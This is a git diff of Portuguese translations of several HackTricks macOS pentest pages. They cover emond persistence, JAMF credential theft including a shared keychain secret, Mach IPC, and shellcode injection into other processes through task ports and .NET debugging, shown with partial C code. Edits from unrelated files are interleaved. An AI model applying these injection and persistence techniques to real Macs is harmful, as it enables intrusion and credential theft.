Artigo: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
A Apple introduziu um mecanismo de registro chamado **emond**. Parece que nunca foi totalmente desenvolvido e o desenvolvimento pode ter sido **abandonado** pela Apple em favor de outros mecanismos, mas ainda está **disponível**.
|
||||
A Apple introduziu um mecanismo de registro chamado **emond**. Parece que nunca foi totalmente desenvolvido e o desenvolvimento pode ter sido **abandonado** pela Apple em favor de outros mecanismos, mas ele continua **disponível**.
|
||||
|
||||
Este serviço pouco conhecido pode **não ser muito útil para um administrador de Mac**, mas para um ator de ameaça, uma razão muito boa seria usá-lo como um **mecanismo de persistência que provavelmente a maioria dos administradores do macOS não conheceria**. Detectar o uso malicioso do emond não deve ser difícil, pois o System LaunchDaemon para o serviço procura scripts para serem executados em apenas um local:
|
||||
Esse serviço pouco conhecido pode **não ser muito útil para um administrador de Mac**, mas para um ator de ameaça, uma razão muito boa seria usá-lo como um **mecanismo de persistência que a maioria dos administradores do macOS provavelmente não saberia** procurar. Detectar o uso malicioso do emond não deve ser difícil, pois o System LaunchDaemon para o serviço procura scripts para serem executados em apenas um local:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
|
|
@ -53,9 +53,9 @@ Além disso, depois de encontrar as credenciais corretas, você pode ser capaz d
|
|||
|
||||
#### Autenticação de dispositivo JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
O binário **`jamf`** continha o segredo para abrir o keychain que, na época da descoberta, era **compartilhado** entre todos e era: **`jk23ucnq91jfu9aj`**.\
|
||||
O binário **`jamf`** continha o segredo para abrir o keychain que, na época da descoberta, era **compartilhado** por todos e era: **`jk23ucnq91jfu9aj`**.\
|
||||
Além disso, o jamf **persiste** como um **LaunchDaemon** em **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Assumindo o controle do dispositivo JAMF
|
||||
|
@ -102,9 +102,9 @@ Com essas informações, **crie uma VM** com o **UUID** de Hardware **roubado**
|
|||
|
||||
Você também pode monitorar o local `/Library/Application Support/Jamf/tmp/` para os **scripts personalizados** que os administradores podem querer executar via Jamf, pois eles são **colocados aqui, executados e removidos**. Esses scripts **podem conter credenciais**.
|
||||
|
||||
No entanto, as **credenciais** podem ser passadas para esses scripts como **parâmetros**, então você precisaria monitorar `ps aux | grep -i jamf` (mesmo sem ser root).
|
||||
No entanto, as **credenciais** podem ser passadas para esses scripts como **parâmetros**, então você precisaria monitorar `ps aux | grep -i jamf` (sem nem mesmo ser root).
|
||||
|
||||
O script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) pode ouvir a adição de novos arquivos e novos argumentos de processo.
|
||||
O script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) pode ouvir novos arquivos sendo adicionados e novos argumentos de processo.
|
||||
|
||||
### Acesso Remoto ao macOS
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS IPC - Comunicação Interprocessos
|
||||
# macOS IPC - Comunicação entre Processos
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -12,16 +12,20 @@
|
|||
|
||||
</details>
|
||||
|
||||
## Mensagens Mach via Portas
|
||||
## Mach messaging via Ports
|
||||
|
||||
O Mach usa **tarefas** como a **unidade mínima** para compartilhar recursos, e cada tarefa pode conter **várias threads**. Essas **tarefas e threads são mapeadas em um para um com processos e threads POSIX**.
|
||||
### Informações básicas
|
||||
|
||||
A comunicação entre tarefas ocorre por meio da Comunicação Interprocessos (IPC) do Mach, utilizando canais de comunicação unidirecionais. **As mensagens são transferidas entre portas**, que funcionam como **filas de mensagens** gerenciadas pelo kernel.
|
||||
O Mach usa **tarefas** como a **unidade mínima** para compartilhar recursos, e cada tarefa pode conter **várias threads**. Essas **tarefas e threads são mapeadas em processos e threads POSIX na proporção de 1:1**.
|
||||
|
||||
Cada processo possui uma **tabela IPC**, onde é possível encontrar as **portas Mach do processo**. O nome de uma porta Mach é na verdade um número (um ponteiro para o objeto do kernel).
|
||||
A comunicação entre tarefas ocorre por meio da Comunicação entre Processos (IPC) do Mach, utilizando canais de comunicação unidirecionais. **As mensagens são transferidas entre portas**, que funcionam como **filas de mensagens** gerenciadas pelo kernel.
|
||||
|
||||
Cada processo possui uma **tabela IPC**, onde é possível encontrar as **portas mach do processo**. O nome de uma porta mach é na verdade um número (um ponteiro para o objeto do kernel).
|
||||
|
||||
Um processo também pode enviar um nome de porta com alguns direitos **para uma tarefa diferente** e o kernel fará com que essa entrada na **tabela IPC da outra tarefa** apareça.
|
||||
|
||||
### Direitos de Porta
|
||||
|
||||
Os direitos de porta, que definem quais operações uma tarefa pode executar, são fundamentais para essa comunicação. Os possíveis **direitos de porta** são:
|
||||
|
||||
* **Direito de recebimento**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, único consumidor), o que significa que pode haver apenas **um direito de recebimento para cada porta** em todo o sistema (ao contrário de pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).
|
||||
|
@ -29,11 +33,13 @@ Os direitos de porta, que definem quais operações uma tarefa pode executar, s
|
|||
* **Direito de envio**, que permite enviar mensagens para a porta.
|
||||
* O direito de envio pode ser **clonado**, então uma tarefa que possui um direito de envio pode clonar o direito e **concedê-lo a uma terceira tarefa**.
|
||||
* **Direito de envio único**, que permite enviar uma mensagem para a porta e depois desaparece.
|
||||
* **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para ouvir várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
|
||||
* **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para ouvir várias portas simultaneamente, assim como `select`/`poll`/`epoll`/`kqueue` no Unix.
|
||||
* **Nome morto**, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
|
||||
|
||||
**As tarefas podem transferir direitos de ENVIO para outras**, permitindo que elas enviem mensagens de volta. **Os direitos de ENVIO também podem ser clonados**, então uma tarefa pode duplicar e dar o direito a uma terceira tarefa. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação efetiva entre tarefas.
|
||||
|
||||
### Estabelecendo uma comunicação
|
||||
|
||||
#### Etapas:
|
||||
|
||||
Como mencionado, para estabelecer o canal de comunicação, o **servidor de inicialização** (**launchd** no Mac) está envolvido.
|
||||
|
@ -41,10 +47,11 @@ Como mencionado, para estabelecer o canal de comunicação, o **servidor de inic
|
|||
1. A tarefa **A** inicia uma **nova porta**, obtendo um **direito de RECEBIMENTO** no processo.
|
||||
2. A tarefa **A**, sendo a detentora do direito de RECEBIMENTO, **gera um direito de ENVIO para a porta**.
|
||||
3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, fornecendo o **nome do serviço da porta** e o **direito de ENVIO** por meio de um procedimento conhecido como registro de inicialização.
|
||||
4. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização para o serviço**. Se bem-sucedido, o **servidor duplica o direito de ENVIO** recebido da Tarefa A e o **transmite para a Tarefa B**.
|
||||
4. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização para o serviço**. Se for bem-sucedido, o **servidor duplica o direito de ENVIO** recebido da Tarefa A e o **transmite para a Tarefa B**.
|
||||
5. Ao adquirir um direito de ENVIO, a tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
|
||||
6. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um direito de **RECEBIMENTO** e um direito de **ENVIO**, e dá o **direito de ENVIO à Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
|
||||
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **se passar por qualquer tarefa do sistema**, como **reivindicar falsamente um nome de serviço de autorização** e, em seguida, aprovar todas as solicitações.
|
||||
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **se passar por qualquer tarefa do sistema**, como reivindicar falsamente um nome de serviço de autorização e, em seguida, aprovar todas as solicitações.
|
||||
|
||||
Em seguida, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Ao lado de cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização criará e manterá um **direito de RECEBIMENTO para cada um desses nomes de serviço**.
|
||||
|
||||
|
@ -54,34 +61,42 @@ Para esses serviços predefinidos, o **processo de busca difere um pouco**. Quan
|
|||
* O **launchd** verifica se a tarefa está em execução e, se não estiver, a **inicia**.
|
||||
* A tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIO, o retém e **transfere o direito de RECEBIMENTO para a Tarefa A**.
|
||||
* O launchd duplica o **direito de ENVIO e o envia para a Tarefa B**.
|
||||
* A tarefa **B** gera uma nova porta com um direito de **RECEBIMENTO** e um direito de **ENVIO**, e dá o **direito de ENVIO à Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
|
||||
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam conforme descrito originalmente, o que poderia permitir potencialmente a falsificação.
|
||||
### Uma Mensagem Mach
|
||||
|
||||
As mensagens Mach são enviadas ou recebidas usando a função **`mach_msg`** (que é essencialmente uma syscall). Ao enviar, o primeiro argumento para essa chamada deve ser a **mensagem**, que deve começar com um **`mach_msg_header_t`** seguido da carga útil real:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
O processo que pode **receber** mensagens em uma porta mach é dito possuir o _**direito de recebimento**_, enquanto os **remetentes** possuem um _**direito de envio**_ ou um _**direito de envio único**_. O direito de envio único, como o nome sugere, só pode ser usado para enviar uma única mensagem e depois é invalidado.
|
||||
|
||||
Para alcançar uma **comunicação bidirecional** fácil, um processo pode especificar uma **porta mach** no **cabeçalho da mensagem mach** chamada de porta de resposta (**`msgh_local_port`**), onde o **destinatário** da mensagem pode **enviar uma resposta** a essa mensagem. Os bits de sinalizador em **`msgh_bits`** podem ser usados para **indicar** que um **direito de envio único** deve ser derivado e transferido para esta porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
Observe que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Mas **geralmente são criadas portas diferentes** como explicado anteriormente para criar a comunicação bidirecional.
|
||||
{% endhint %}
|
||||
|
||||
Os outros campos do cabeçalho da mensagem são:
|
||||
|
||||
* `msgh_size`: o tamanho do pacote inteiro.
|
||||
* `msgh_remote_port`: a porta para a qual esta mensagem é enviada.
|
||||
* `msgh_voucher_port`: [vouchers mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
* `msgh_id`: o ID desta mensagem, que é interpretado pelo receptor.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que as **mensagens mach são enviadas por uma **_**porta mach**_, que é um canal de comunicação **único receptor**, **múltiplos remetentes** incorporado no kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode lê-la**.
|
||||
{% endhint %}
|
||||
|
||||
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam como descrito originalmente, o que poderia potencialmente permitir a falsificação.
|
||||
### Enumerar portas
|
||||
|
||||
Para identificar quais portas estão abertas em um sistema macOS, você pode usar várias ferramentas e técnicas. Aqui estão algumas opções:
|
||||
|
||||
- **Nmap**: O Nmap é uma ferramenta de código aberto amplamente utilizada para varredura de portas. Você pode executar o Nmap no macOS para identificar as portas abertas em um determinado host ou rede.
|
||||
|
||||
Exemplo de comando Nmap para varredura de portas:
|
||||
```
|
||||
nmap <alvo>
|
||||
```
|
||||
|
||||
- **Netstat**: O Netstat é uma ferramenta de linha de comando que exibe informações sobre as conexões de rede ativas e as portas abertas em um sistema. No macOS, você pode usar o comando `netstat -an` para listar todas as portas abertas.
|
||||
|
||||
Exemplo de comando Netstat para listar portas abertas:
|
||||
```
|
||||
netstat -an | grep LISTEN
|
||||
```
|
||||
|
||||
- **Lsof**: O Lsof é uma ferramenta de linha de comando que lista os arquivos abertos por processos em um sistema. No macOS, você pode usar o comando `lsof -i` para listar os processos que estão ouvindo em portas de rede.
|
||||
|
||||
Exemplo de comando Lsof para listar processos que estão ouvindo em portas de rede:
|
||||
```
|
||||
lsof -i | grep LISTEN
|
||||
```
|
||||
|
||||
Essas são apenas algumas das opções disponíveis para enumerar portas em um sistema macOS. É importante lembrar que a enumeração de portas em um sistema sem autorização prévia é considerada uma atividade ilegal e antiética. Portanto, sempre obtenha permissão adequada antes de realizar qualquer teste de segurança ou pentest.
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
|
@ -175,18 +190,26 @@ int main(int argc, char** argv) {
|
|||
// Create a send right to the bootstrap port
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.apple.securityd", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up the server port: %s\n", mach_error_string(kr));
|
||||
printf("Failed to look up the securityd service: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Send a message to the server
|
||||
strcpy(buffer, "Hello, server!");
|
||||
kr = mach_msg_send((mach_msg_header_t*)buffer);
|
||||
// Send a message to the securityd service
|
||||
strcpy(buffer, "Hello, securityd!");
|
||||
kr = mach_msg((mach_msg_header_t*)&buffer,
|
||||
MACH_SEND_MSG,
|
||||
sizeof(buffer),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message to server: %s\n", mach_error_string(kr));
|
||||
printf("Failed to send message to securityd: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Message sent successfully!\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
@ -262,7 +285,7 @@ printf("Sent a message\n");
|
|||
|
||||
### Injeção de Shellcode em thread via Porta da Tarefa
|
||||
|
||||
Você pode obter um shellcode em:
|
||||
Você pode obter um shellcode de:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -300,16 +323,6 @@ return 0;
|
|||
}
|
||||
```
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
O arquivo `entitlements.plist` contém informações sobre as permissões e privilégios concedidos a um aplicativo no macOS. Essas permissões podem incluir acesso a recursos do sistema, como câmera, microfone, localização e muito mais. O arquivo `entitlements.plist` é usado para definir as capacidades e restrições de um aplicativo, garantindo que ele tenha acesso apenas aos recursos necessários e autorizados.
|
||||
|
||||
Ao modificar o arquivo `entitlements.plist`, é possível alterar as permissões concedidas a um aplicativo. Isso pode ser útil em cenários de teste de penetração, onde se deseja explorar vulnerabilidades de privilégio ou realizar escalonamento de privilégios. No entanto, é importante ressaltar que a modificação indevida do arquivo `entitlements.plist` pode violar as políticas de segurança e privacidade do macOS.
|
||||
|
||||
Para modificar o arquivo `entitlements.plist`, é necessário ter acesso de gravação ao aplicativo em questão. Isso pode ser feito usando técnicas de hacking, como injeção de código, exploração de vulnerabilidades ou engenharia reversa. Uma vez que o acesso de gravação é obtido, o arquivo `entitlements.plist` pode ser editado para adicionar, remover ou modificar as permissões concedidas ao aplicativo.
|
||||
|
||||
É importante lembrar que a modificação do arquivo `entitlements.plist` pode ter consequências significativas para a segurança e o funcionamento do aplicativo. Portanto, é recomendável realizar essas alterações apenas em um ambiente controlado e para fins legítimos, como testes de segurança ou desenvolvimento de software.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
@ -738,7 +751,7 @@ kr = mach_vm_write(remoteTask, // Porta da tarefa
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr, "Não foi possível escrever na memória da thread remota: Erro %s\n", mach_error_string(kr));
|
||||
fprintf(stderr, "Não foi possível escrever na memória do thread remoto: Erro %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
@ -748,7 +761,7 @@ kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EX
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr, "Não foi possível definir as permissões de memória para o código da thread remota: Erro %s\n", mach_error_string(kr));
|
||||
fprintf(stderr, "Não foi possível definir as permissões de memória para o código do thread remoto: Erro %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
@ -757,12 +770,12 @@ kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_P
|
|||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr, "Não foi possível definir as permissões de memória para a pilha da thread remota: Erro %s\n", mach_error_string(kr));
|
||||
fprintf(stderr, "Não foi possível definir as permissões de memória para a pilha do thread remoto: Erro %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Crie uma thread para executar o shellcode
|
||||
// Crie um thread para executar o shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
|
@ -778,14 +791,14 @@ remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|||
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
|
||||
|
||||
printf("Pilha Remota 64 0x%llx, Código Remoto é %p\n", remoteStack64, p);
|
||||
printf("Pilha remota 64 0x%llx, Código remoto é %p\n", remoteStack64, p);
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr, "Não foi possível criar a thread remota: erro %s", mach_error_string(kr));
|
||||
fprintf(stderr, "Não foi possível criar o thread remoto: erro %s", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
@ -857,6 +870,8 @@ Para mais informações, consulte:
|
|||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS e HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
|
@ -22,7 +22,7 @@ Obviamente, isso é tão poderoso que é complicado carregar uma extensão de ke
|
|||
|
||||
* Ao entrar no **modo de recuperação**, as extensões de kernel devem estar **habilitadas para carregamento**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* A extensão de kernel deve estar **assinada com um certificado de assinatura de código de kernel**, que só pode ser concedido pela **Apple**. Eles revisarão detalhadamente a **empresa** e as **razões** pelas quais é necessária.
|
||||
* A extensão de kernel também deve ser **notarizada**, a Apple poderá verificá-la em busca de malware.
|
||||
|
@ -32,7 +32,7 @@ Obviamente, isso é tão poderoso que é complicado carregar uma extensão de ke
|
|||
|
||||
### Processo de carregamento
|
||||
|
||||
No Catalina, era assim: É interessante notar que o processo de **verificação** ocorre no **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel** que **carregue uma extensão:** kextcache, kextload, kextutil, kextd, syspolicyd
|
||||
No Catalina, era assim: É interessante destacar que o processo de **verificação** ocorre no **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel** que **carregue uma extensão:** kextcache, kextload, kextutil, kextd, syspolicyd
|
||||
|
||||
1. O cli **`kextutil`** inicia o processo de verificação para carregar uma extensão
|
||||
|
||||
|
@ -59,7 +59,7 @@ Se o kextd não estiver disponível, o kextutil pode realizar as mesmas verifica
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS e HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
|
|
|
@ -21,7 +21,7 @@ Ele cria dois pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127]
|
|||
|
||||
Portanto, se você acessar o diretório **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que podem ser usados para depurar aplicações .Net:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador.
|
||||
|
||||
|
@ -164,7 +164,7 @@ O código POC usado para fazer isso pode ser encontrado [aqui](https://gist.gith
|
|||
|
||||
### Execução de código .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
A primeira coisa é identificar, por exemplo, uma região de memória com **`rwx`** em execução para salvar o shellcode a ser executado. Isso pode ser facilmente feito com:
|
||||
A primeira coisa é identificar, por exemplo, uma região de memória com permissões **`rwx`** em execução para salvar o shellcode a ser executado. Isso pode ser facilmente feito com:
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -58,7 +58,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
|||
```
|
||||
Você pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e procurar pela string anterior. Após essa string, você pode ver em ASCII um número "0" ou "1" indicando se cada fusível está desabilitado ou habilitado. Basta modificar o código hexadecimal (`0x30` é `0` e `0x31` é `1`) para **modificar os valores dos fusíveis**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
